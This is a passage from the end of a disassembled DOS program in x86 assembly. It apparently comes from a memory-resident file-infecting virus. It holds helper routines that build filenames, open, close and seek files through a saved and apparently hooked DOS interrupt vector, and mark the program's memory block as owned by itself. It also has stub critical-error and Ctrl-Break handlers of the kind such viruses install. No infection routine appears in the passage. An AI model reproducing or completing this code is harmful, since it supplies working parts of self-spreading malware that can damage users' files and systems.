endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_15 proc near call sub_24 ; (0884) call sub_14 ; (0814) push cs pop es mov dx,904h mov di,dx cld ; Clear direction lodsb ; String [si] to al or al,al ; Zero ? jz loc_81 ; Jump if zero add al,40h ; '@' mov ah,3Ah ; ':' stosw ; Store ax to es:[di] loc_81: movsw ; Mov [si] to es:[di] movsw ; Mov [si] to es:[di] movsw ; Mov [si] to es:[di] movsw ; Mov [si] to es:[di] mov al,2Eh ; '.' stosb ; Store al to es:[di] movsw ; Mov [si] to es:[di] movsb ; Mov [si] to es:[di] xor al,al ; Zero register stosb ; Store al to es:[di] push es pop ds call sub_3 ; (0519) call sub_25 ; (0896) retn sub_15 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_16 proc near push ax mov ax,cs jmp short loc_82 ; (0854) ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_17: push ax xor ax,ax ; Zero register loc_82: push bx push ds mov bx,cs dec bx mov ds,bx mov ds:data_16e,ax ; (8343:0001=0FFFFh) pop ds pop bx pop ax retn sub_16 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_18 proc near mov ax,3D00h jmp short loc_83 ; (0879) ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_19: mov ah,3Eh ; '>' jmp short loc_83 ; (0879) ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_20: mov ax,4200h jmp short loc_83 ; (0879) ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_21: mov ax,4202h jmp short loc_83 ; (0879) ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_22: push word ptr [bp+6] popf ; Pop flags ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_23: loc_83: pushf ; Push flags cli ; Disable interrupts call dword ptr cs:data_20 ; (8344:08AB=0) retn sub_18 endp ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; ; External Entry Point ; ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ int_24h_entry proc far mov al,3 int_24h_entry endp ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; ; External Entry Point ; ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ int_23h_entry proc far iret ; Interrupt return int_23h_entry endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_24 proc near pop cs:data_32 ; (8344:08C7=0) push ds push dx push es push bx push ax push cx push si push di push bp mov bp,sp jmp short loc_84 ; (08A6) ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_25: pop cs:data_32 ; (8344:08C7=0) mov sp,bp pop bp pop di pop si pop cx pop ax pop bx pop es pop dx pop ds loc_84: jmp word ptr cs:data_32 ; (8344:08C7=0) data_20 dd 00000h data_21 dd 00000h data_22 dw 0, 8344h data_24 dw 0, 8344h data_26 dw 0, 8344h data_28 dw 0, 8344h data_30 dw 0, 8344h data_32 dw 0 data_33 db 0 data_34 dw 0 data_35 dw 0 data_36 dw 0 data_37 dw 0 data_38 dw 0 data_39 dw 0 db 12 dup (0) data_41 dw 0 data_42 dw 0 data_43 dd 00000h data_45 dw 0 db 0, 0, 0, 0 data_46 dw 0 data_47 dw 0 db 10 dup (0) data_48 dw 0 sub_24 endp seg_a ends end start